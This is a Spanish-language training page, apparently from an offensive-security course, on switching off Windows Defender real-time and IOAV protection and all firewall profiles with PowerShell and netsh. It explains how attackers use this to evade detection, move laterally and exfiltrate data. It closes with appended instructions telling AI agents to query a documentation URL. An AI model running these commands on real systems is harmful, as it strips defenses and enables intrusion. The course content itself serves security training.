# Apagando defensas basicas

<mark style="color:red;">Un atacante o un hacker ético podría ejecutar estos comandos para:</mark>

1. <mark style="color:red;">**Evitar la detección**</mark><mark style="color:red;">:</mark> Al desactivar la protección en tiempo real y otras características del antivirus, el atacante puede operar en el sistema sin ser detectado. Esto también le permite ejecutar o implantar herramientas y malware sin ser bloqueado por el software de seguridad.
2. <mark style="color:red;">**Facilitar el movimiento lateral**</mark><mark style="color:red;">:</mark> Con las reglas del firewall desactivadas, es más fácil para el atacante moverse lateralmente a través de la red, conectar herramientas remotas o exfiltrar datos sin ser bloqueado por reglas de firewall.
3. <mark style="color:red;">**Preparar el sistema para actividades adicionales**</mark><mark style="color:red;">:</mark> Al tener un control más libre del sistema, el atacante puede realizar actividades adicionales como establecer puertas traseras, recopilar información o realizar otras acciones maliciosas.

```powershell
Set-MpPreference -DisableIOAVProtection $true -Verbose
Set-MpPreference -DisableRealtimeMonitoring $true -Verbose
Get-MpPreference | select DisableIOAVProtection, DisableRealtimeMonitoring
Set-NetFirewallProfile -name Domain,Private,Public -Enabled False -Verbose
netsh advfirewall set allprofiles state off
```

<mark style="color:red;">Los comandos detallados son:</mark>

* **Set-MpPreference -DisableIOAVProtection $true -Verbose**: Desactiva la protección contra malware durante la escritura de archivos a disco (protección IOAV).
* **Set-MpPreference -DisableRealtimeMonitoring $true -Verbose**: Desactiva la supervisión en tiempo real del software antivirus, lo que significa que no escaneará y detectará actividades maliciosas en tiempo real.
* **Get-MpPreference | select DisableIOAVProtection, DisableRealtimeMonitoring**: Verifica y muestra el estado actual de las dos características anteriores (protección IOAV y supervisión en tiempo real).
* **Set-NetFirewallProfile -name Domain,Private,Public -Enabled False -Verbose**: Desactiva las reglas del firewall para todos los perfiles (Dominio, Privado y Público).
* **netsh advfirewall set allprofiles state off**: Es otro comando para desactivar todas las reglas del firewall para todos los perfiles utilizando la utilidad `netsh`.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/introduccion-a-la-evasion-de-defensas/apagando-defensas-basicas.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
